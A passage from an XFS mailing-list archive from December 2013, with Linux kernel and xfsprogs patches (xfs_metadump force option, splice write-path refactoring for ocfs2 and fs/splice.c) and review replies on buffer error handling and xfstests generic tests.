a/fs/xfs/xfs_trans.h b/fs/xfs/xfs_trans.h index 9b96d35..b5bc1ab 100644 --- a/fs/xfs/xfs_trans.h +++ b/fs/xfs/xfs_trans.h @@ -64,7 +64,7 @@ typedef struct xfs_log_item { struct xfs_item_ops { void (*iop_size)(xfs_log_item_t *, int *, int *); - void (*iop_format)(xfs_log_item_t *, struct xfs_log_iovec *); + void (*iop_format)(xfs_log_item_t *, struct xfs_log_vec *); void (*iop_pin)(xfs_log_item_t *); void (*iop_unpin)(xfs_log_item_t *, int remove); uint (*iop_push)(struct xfs_log_item *, struct list_head *); -- 1.7.10.4 From BATV+c880b0b8f659bc2ba2f7+3763+infradead.org+hch@bombadil.srs.infradead.org Thu Dec 12 10:36:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 60DF77F5A for ; Thu, 12 Dec 2013 10:36:34 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 30B61304051 for ; Thu, 12 Dec 2013 08:36:31 -0800 (PST) X-ASG-Debug-ID: 1386866189-04bdf05ced3cf20001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id Ewu12CF0biy1VnWw (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 12 Dec 2013 08:36:30 -0800 (PST) X-Barracuda-Envelope-From: BATV+c880b0b8f659bc2ba2f7+3763+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vr9FV-000335-KT; Thu, 12 Dec 2013 16:36:29 +0000 Date: Thu, 12 Dec 2013 08:36:29 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/6] xfs: don't try to mark uncached buffers stale on error. Message-ID: <20131212163629.GA2894@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 1/6] xfs: don't try to mark uncached buffers stale on error. References: <1386826478-13846-1-git-send-email-david@fromorbit.com> <1386826478-13846-2-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1386826478-13846-2-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386866189 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS I really don't like how this makes even more of a mess out of the already convoluted xfs_bioerror/xfs_bioerror_else maze. Can we maybe first merge them and document the difference before adding even more special case branches? Also most uses of uncached buffers use xfsbdstrat, where we can do error handling straight in the caller instead of playing with all the flags manipulation mess. In all these cases no one but the caller can find these buffers anyway, so doing all this on an I/O error is pointless. The only buffer where any of this matters is the superblock one, and given that we re-read it on mount anyway I wonder if we should just make it a regular buffer again and let all this mess just disappear. From sandeen@redhat.com Thu Dec 12 11:48:37 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 7776B7F5D for ; Thu, 12 Dec 2013 11:48:37 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id E971BAC005 for ; Thu, 12 Dec 2013 09:48:36 -0800 (PST) X-ASG-Debug-ID: 1386870512-04cb6c537d6de460001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id va7HlAGStrA1hxwb for ; Thu, 12 Dec 2013 09:48:32 -0800 (PST) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id rBCHm6vT008453 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 12 Dec 2013 12:48:06 -0500 Received: from Liberator.local (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id rBCHm4O0029397 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 12 Dec 2013 12:48:05 -0500 Message-ID: <52A9F6CF.1070300@redhat.com> Date: Thu, 12 Dec 2013 11:47:59 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: xfs-oss , Christoph Hellwig Subject: [PATCH] xfs_metadump: Make -F (force) optional X-Enigmail-Version: 1.6 X-ASG-Orig-Subj: [PATCH] xfs_metadump: Make -F (force) optional Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1386870512 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 If we do something crazy like: # xfs_metadump /root/anaconda.cfg outfile xfs_metadump will pass "-F" to xfs_db to carry on even in the face of bad superblock magic. [1] Depending on what we gave as an input file, we may very well fail quite badly: > xfs_metadump: /root/anaconda.cfg is not a valid XFS filesystem (unexpected SB magic number 0x230a2320) > Floating point exception I don't think it's possible to harden every path through libxfs for non-xfs filesystems as input. (Even if it's possible, I don't think it's worth the effort). So I propose making the "-F" optional; by default, xfs_metadump will say no, this has bad magic, I'm stopping. If the admin really wants to try to proceed, suggest that they can use "-F" and they can keep all the broken pieces. [1] behavior added in 7f98455 xfs_db: exit on invalid magic number Signed-off-by: Eric Sandeen --- diff --git a/db/init.c b/db/init.c index 8f86f45..e7f536a 100644 --- a/db/init.c +++ b/db/init.c @@ -140,8 +140,10 @@ init( if (sbp->sb_magicnum != XFS_SB_MAGIC) { fprintf(stderr, _("%s: %s is not a valid XFS filesystem (unexpected SB magic number 0x%08x)\n"), progname, fsdevice, sbp->sb_magicnum); - if (!force) + if (!force) { + fprintf(stderr, _("Use -F to force a read attempt.\n")); exit(EXIT_FAILURE); + } } mp = libxfs_mount(&xmount, sbp, x.ddev, x.logdev, x.rtdev, diff --git a/db/xfs_metadump.sh b/db/xfs_metadump.sh index 28b04b8..7ce7a6d 100755 --- a/db/xfs_metadump.sh +++ b/db/xfs_metadump.sh @@ -5,7 +5,7 @@ OPTS=" " DBOPTS=" " -USAGE="Usage: xfs_metadump [-efogwV] [-m max_extents] [-l logdev] source target" +USAGE="Usage: xfs_metadump [-efFogwV] [-m max_extents] [-l logdev] source target" while getopts "efgl:m:owV" c do @@ -17,6 +17,7 @@ do w) OPTS=$OPTS"-w ";; f) DBOPTS=$DBOPTS" -f";; l) DBOPTS=$DBOPTS" -l "$OPTARG" ";; + F) DBOPTS=$DBOPTS" -F";; V) xfs_db -p xfs_metadump -V status=$? exit $status @@ -29,7 +30,7 @@ done set -- extra $@ shift $OPTIND case $# in - 2) xfs_db$DBOPTS -F -i -p xfs_metadump -c "metadump$OPTS $2" $1 + 2) xfs_db$DBOPTS -i -p xfs_metadump -c "metadump$OPTS $2" $1 status=$? ;; *) echo $USAGE 1>&2 diff --git a/man/man8/xfs_metadump.8 b/man/man8/xfs_metadump.8 index 4fa1b1c..077fff5 100644 --- a/man/man8/xfs_metadump.8 +++ b/man/man8/xfs_metadump.8 @@ -4,7 +4,7 @@ xfs_metadump \- copy XFS filesystem metadata to a file .SH SYNOPSIS .B xfs_metadump [ -.B \-efgow +.B \-efFgow ] [ .B \-m .I max_extents @@ -86,6 +86,11 @@ file option). This can also happen if an image copy of a filesystem has been made into an ordinary file with .BR xfs_copy (8). .TP +.B \-F +Specifies that we want to continue even if the superblock magic is not correct. +If the source is truly not an XFS filesystem, the resulting image will be useless, +and xfs_metadump may crash. +.TP .B \-g Shows dump progress. This is sent to stdout if the .I target From BATV+c880b0b8f659bc2ba2f7+3763+infradead.org+hch@bombadil.srs.infradead.org Thu Dec 12 12:01:43 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7CDA67F5D for ; Thu, 12 Dec 2013 12:01:43 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 5C4B28F8064 for ; Thu, 12 Dec 2013 10:01:40 -0800 (PST) X-ASG-Debug-ID: 1386871298-04cbb041696e4b00001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id gnvrq4zGCdQMSVF9 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 12 Dec 2013 10:01:39 -0800 (PST) X-Barracuda-Envelope-From: BATV+c880b0b8f659bc2ba2f7+3763+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VrAZm-0006Qg-JX; Thu, 12 Dec 2013 18:01:30 +0000 Date: Thu, 12 Dec 2013 10:01:30 -0800 From: Christoph Hellwig To: Dave Chinner Cc: Christoph Hellwig , Junho Ryu , hughd@google.com, tytso@mit.edu, branto@redhat.com, xfs@oss.sgi.com Subject: Re: [PATCH 05/10] xfstests: do not unmount tmpfs during remount. Message-ID: <20131212180130.GA19422@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 05/10] xfstests: do not unmount tmpfs during remount. References: <1386706321-15795-1-git-send-email-jayr@google.com> <1386706321-15795-6-git-send-email-jayr@google.com> <20131211074615.GE19248@infradead.org> <20131211224012.GJ10988@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131211224012.GJ10988@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386871299 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143045 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Thu, Dec 12, 2013 at 09:40:12AM +1100, Dave Chinner wrote: > IOWs, adding tmpfs changes the definition of a "generic" test. > > i.e. instead of: > > _supported_fs generic > > these tests are now: > > _supported_fs xfs ext2 ext3 ext4 ext4dev btrfs gfs2 nfs udf reiserfs > > and by that definition should be in the tests/shared directory.... > > That's a bit of a pain, but I really don't like the idea of having > "generic" tests that aren't actually generic by having to define > exceptions for them... We already have tons of these: tests/generic/079: _notrun "Setting immutable/append flag not supported" tests/generic/192: _notrun "this test makes no sense with noatime" tests/generic/225: _notrun "FIEMAP not supported by this filesystem type: $FSTYP" tests/generic/251:_test_batched_discard $SCRATCH_MNT || _notrun "FITRIM not supported on $SCRATCH_DEV" tests/generic/260:_test_batched_discard $SCRATCH_MNT || _notrun "FITRIM not supported on $SCRATCH_DEV" tests/generic/288:_test_batched_discard $SCRATCH_MNT || _notrun "FITRIM not supported on $SCRATCH_DEV" tests/generic/053:_require_acls tests/generic/077:_require_acls tests/generic/099:_require_acls tests/generic/105:_require_acls tests/generic/237:_require_acls tests/generic/314:_require_acls tests/generic/318:_require_acls tests/generic/319:_require_acls tests/generic/020:_require_attrs tests/generic/062:_require_attrs tests/generic/070:_require_attrs tests/generic/077:_require_attrs tests/generic/079:_require_attrs tests/generic/093:_require_attrs tests/generic/097:_require_attrs tests/generic/117:_require_attrs tests/generic/213:_require_xfs_io_falloc tests/generic/214:_require_xfs_io_falloc tests/generic/223:_require_xfs_io_falloc tests/generic/228:_require_xfs_io_falloc tests/generic/255:_require_xfs_io_falloc_punch tests/generic/255:_require_xfs_io_falloc tests/generic/256:_require_xfs_io_falloc_punch tests/generic/274:_require_xfs_io_falloc tests/generic/312:_require_xfs_io_falloc tests/generic/316:_require_xfs_io_falloc_punch tests/generic/068:_require_freeze tests/generic/280:_require_freezeA tests/generic/219:_require_quota tests/generic/230:_require_quota tests/generic/231:_require_quota tests/generic/232:_require_quota tests/generic/233:_require_quota tests/generic/234:_require_quota tests/generic/235:_require_quota tests/generic/270:_require_quota tests/generic/280:_require_quota tests/generic/285:_require_seek_data_hole tests/generic/286:_require_seek_data_hole tests/generic/014:_require_sparse_files tests/generic/129:_require_sparse_files tests/generic/130:_require_sparse_files tests/generic/239:_require_sparse_files tests/generic/240:_require_sparse_files From BATV+c880b0b8f659bc2ba2f7+3763+infradead.org+hch@bombadil.srs.infradead.org Thu Dec 12 12:01:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E212C29E05 for ; Thu, 12 Dec 2013 12:01:54 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6FA9BAC020 for ; Thu, 12 Dec 2013 10:01:51 -0800 (PST) X-ASG-Debug-ID: 1386871310-04cb6c537c6dea90001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id dUxR4ldNfCLBjRG8 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 12 Dec 2013 10:01:50 -0800 (PST) X-Barracuda-Envelope-From: BATV+c880b0b8f659bc2ba2f7+3763+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VrAa0-0006RS-AU; Thu, 12 Dec 2013 18:01:44 +0000 Date: Thu, 12 Dec 2013 10:01:44 -0800 From: Christoph Hellwig To: Dave Chinner Cc: Christoph Hellwig , Junho Ryu , hughd@google.com, tytso@mit.edu, branto@redhat.com, xfs@oss.sgi.com Subject: Re: [PATCH 06/10] xfstests: fix generic/225 to check fiemap support Message-ID: <20131212180144.GB19422@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 06/10] xfstests: fix generic/225 to check fiemap support References: <1386706321-15795-1-git-send-email-jayr@google.com> <1386706321-15795-7-git-send-email-jayr@google.com> <20131211074657.GF19248@infradead.org> <20131211224229.GK10988@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131211224229.GK10988@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386871310 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.70 X-Barracuda-Spam-Status: No, SCORE=0.70 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143045 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Thu, Dec 12, 2013 at 09:42:29AM +1100, Dave Chinner wrote: > I'd just rename if _require_fiemap, because we need both xfs_io and > kernel support for it, and we need xfs_io support to check for > kernel support.... Fine with me. From BATV+c880b0b8f659bc2ba2f7+3763+infradead.org+hch@bombadil.srs.infradead.org Thu Dec 12 12:18:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id F3B967F62 for ; Thu, 12 Dec 2013 12:18:54 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id DC9718F8065 for ; Thu, 12 Dec 2013 10:18:54 -0800 (PST) X-ASG-Debug-ID: 1386872333-04cb6c537e6df2c0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id 80wYPN7QtTBqM5vu (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 12 Dec 2013 10:18:53 -0800 (PST) X-Barracuda-Envelope-From: BATV+c880b0b8f659bc2ba2f7+3763+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VrAqS-0001SW-Jy; Thu, 12 Dec 2013 18:18:44 +0000 Message-Id: <20131212181844.501136902@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Thu, 12 Dec 2013 10:15:00 -0800 From: Christoph Hellwig To: Al Viro , Jens Axboe , Mark Fasheh , Joel Becker Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: [PATCH 1/5] splice: move balance_dirty_pages_ratelimited into pipe_to_file References: <20131212181459.994196463@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 1/5] splice: move balance_dirty_pages_ratelimited into pipe_to_file Content-Disposition: inline; filename=0001-splice-move-balance_dirty_pages_ratelimited-into-pip.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386872333 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143045 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS Try to balance the dirty pages for every written pages instead of once per system call, mirroring the regular write path. Signed-off-by: Christoph Hellwig --- fs/ocfs2/file.c | 2 -- fs/splice.c | 5 ++++- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/fs/ocfs2/file.c b/fs/ocfs2/file.c index 6fff128..a77ef6e 100644 --- a/fs/ocfs2/file.c +++ b/fs/ocfs2/file.c @@ -2494,8 +2494,6 @@ static ssize_t ocfs2_file_splice_write(struct pipe_inode_info *pipe, ret = err; else *ppos += ret; - - balance_dirty_pages_ratelimited(mapping); } return ret; diff --git a/fs/splice.c b/fs/splice.c index 46a08f7..fcb459d 100644 --- a/fs/splice.c +++ b/fs/splice.c @@ -759,6 +759,10 @@ int pipe_to_file(struct pipe_inode_info *pipe, struct pipe_buffer *buf, } ret = pagecache_write_end(file, mapping, sd->pos, this_len, this_len, page, fsdata); + if (ret) + goto out; + + balance_dirty_pages_ratelimited(mapping); out: return ret; } @@ -1034,7 +1038,6 @@ generic_file_splice_write(struct pipe_inode_info *pipe, struct file *out, ret = err; else *ppos += ret; - balance_dirty_pages_ratelimited(mapping); } return ret; -- 1.7.10.4 From BATV+c880b0b8f659bc2ba2f7+3763+infradead.org+hch@bombadil.srs.infradead.org Thu Dec 12 12:18:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 479977F69 for ; Thu, 12 Dec 2013 12:18:57 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 361598F8064 for ; Thu, 12 Dec 2013 10:18:57 -0800 (PST) X-ASG-Debug-ID: 1386872336-04cb6c537b6df2c0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id ARdBoY3snvmWtEvH (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 12 Dec 2013 10:18:56 -0800 (PST) X-Barracuda-Envelope-From: BATV+c880b0b8f659bc2ba2f7+3763+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VrAqS-0001Tc-VB; Thu, 12 Dec 2013 18:18:44 +0000 Message-Id: <20131212181844.848709380@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Thu, 12 Dec 2013 10:15:02 -0800 From: Christoph Hellwig To: Al Viro , Jens Axboe , Mark Fasheh , Joel Becker Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: [PATCH 3/5] splice: use splice_from_pipe in generic_file_splice_write References: <20131212181459.994196463@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 3/5] splice: use splice_from_pipe in generic_file_splice_write Content-Disposition: inline; filename=0003-splice-use-splice_from_pipe-in-generic_file_splice_w.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386872336 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143045 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS Reuse generic_write_sync instead of reimplementing it in the splice write path both in the generic code and ocfs2. Only needs a little bit of refactoring for the actors to provide the desired functionality. Signed-off-by: Christoph Hellwig --- fs/ocfs2/file.c | 58 ++++++++++----------------------------------- fs/splice.c | 61 +++++++++++++++++------------------------------- include/linux/splice.h | 2 ++ 3 files changed, 36 insertions(+), 85 deletions(-) diff --git a/fs/ocfs2/file.c b/fs/ocfs2/file.c index c68e111..5b1b5f9 100644 --- a/fs/ocfs2/file.c +++ b/fs/ocfs2/file.c @@ -2423,38 +2423,14 @@ out_sems: return ret; } -static int ocfs2_splice_to_file(struct pipe_inode_info *pipe, - struct file *out, - struct splice_desc *sd) -{ - int ret; - - ret = ocfs2_prepare_inode_for_write(out, &sd->pos, - sd->total_len, 0, NULL, NULL); - if (ret < 0) { - mlog_errno(ret); - return ret; - } - - return splice_from_pipe_feed(pipe, sd, pipe_to_file); -} - static ssize_t ocfs2_file_splice_write(struct pipe_inode_info *pipe, struct file *out, loff_t *ppos, size_t len, unsigned int flags) { - int ret; - struct address_space *mapping = out->f_mapping; - struct inode *inode = mapping->host; - struct splice_desc sd = { - .total_len = len, - .flags = flags, - .pos = *ppos, - .u.file = out, - }; - + struct inode *inode = out->f_mapping->host; + ssize_t ret; trace_ocfs2_file_splice_write(inode, out, out->f_path.dentry, (unsigned long long)OCFS2_I(inode)->ip_blkno, @@ -2467,35 +2443,25 @@ static ssize_t ocfs2_file_splice_write(struct pipe_inode_info *pipe, mlog_errno(ret); goto out_unlock_inode; } - pipe_lock(pipe); - splice_from_pipe_begin(&sd); - do { - ret = splice_from_pipe_next(pipe, &sd); - if (ret <= 0) - break; - - ret = ocfs2_splice_to_file(pipe, out, &sd); - } while (ret > 0); - splice_from_pipe_end(pipe, &sd); + ret = ocfs2_prepare_inode_for_write(out, ppos, len, 0, NULL, NULL); + if (ret < 0) { + mlog_errno(ret); + goto out_unlock_rw; + } - pipe_unlock(pipe); + ret = splice_from_pipe(pipe, out, ppos, len, flags, __pipe_to_file); +out_unlock_rw: ocfs2_rw_unlock(inode, 1); out_unlock_inode: mutex_unlock(&inode->i_mutex); - if (sd.num_spliced) - ret = sd.num_spliced; - if (ret > 0) { - int err; - - err = generic_write_sync(out, *ppos, ret); + int err = generic_write_sync(out, *ppos, ret); if (err) - ret = err; - else - *ppos += ret; + return ret; + *ppos += ret; } return ret; diff --git a/fs/splice.c b/fs/splice.c index 4fb6c1f..108e527 100644 --- a/fs/splice.c +++ b/fs/splice.c @@ -727,7 +727,7 @@ static int pipe_to_sendpage(struct pipe_inode_info *pipe, * SPLICE_F_MOVE isn't set, or we cannot move the page, we simply create * a new page in the output file page cache and fill/dirty that. */ -int pipe_to_file(struct pipe_inode_info *pipe, struct pipe_buffer *buf, +int __pipe_to_file(struct pipe_inode_info *pipe, struct pipe_buffer *buf, struct splice_desc *sd) { struct file *file = sd->u.file; @@ -766,6 +766,22 @@ int pipe_to_file(struct pipe_inode_info *pipe, struct pipe_buffer *buf, out: return ret; } +EXPORT_SYMBOL(__pipe_to_file); + +int pipe_to_file(struct pipe_inode_info *pipe, struct pipe_buffer *buf, + struct splice_desc *sd) +{ + struct file *file = sd->u.file; + int ret; + + ret = file_remove_suid(file); + if (ret) + return ret; + ret = file_update_time(file); + if (ret) + return ret; + return __pipe_to_file(pipe, buf, sd); +} EXPORT_SYMBOL(pipe_to_file); static void wakeup_pipe_writers(struct pipe_inode_info *pipe) @@ -995,55 +1011,22 @@ ssize_t generic_file_splice_write(struct pipe_inode_info *pipe, struct file *out, loff_t *ppos, size_t len, unsigned int flags) { - struct address_space *mapping = out->f_mapping; - struct inode *inode = mapping->host; - struct splice_desc sd = { - .total_len = len, - .flags = flags, - .pos = *ppos, - .u.file = out, - }; + struct inode *inode = out->f_mapping->host; ssize_t ret; mutex_lock(&inode->i_mutex); - - pipe_lock(pipe); - - splice_from_pipe_begin(&sd); - do { - ret = splice_from_pipe_next(pipe, &sd); - if (ret <= 0) - break; - - ret = file_remove_suid(out); - if (!ret) { - ret = file_update_time(out); - if (!ret) - ret = splice_from_pipe_feed(pipe, &sd, - pipe_to_file); - } - } while (ret > 0); - splice_from_pipe_end(pipe, &sd); - - pipe_unlock(pipe); + ret = splice_from_pipe(pipe, out, ppos, len, flags, pipe_to_file); mutex_unlock(&inode->i_mutex); - if (sd.num_spliced) - ret = sd.num_spliced; - if (ret > 0) { - int err; - - err = generic_write_sync(out, *ppos, ret); + int err = generic_write_sync(out, *ppos, ret); if (err) - ret = err; - else - *ppos += ret; + return err; + *ppos += ret; } return ret; } - EXPORT_SYMBOL(generic_file_splice_write); static int write_pipe_buf(struct pipe_inode_info *pipe, struct 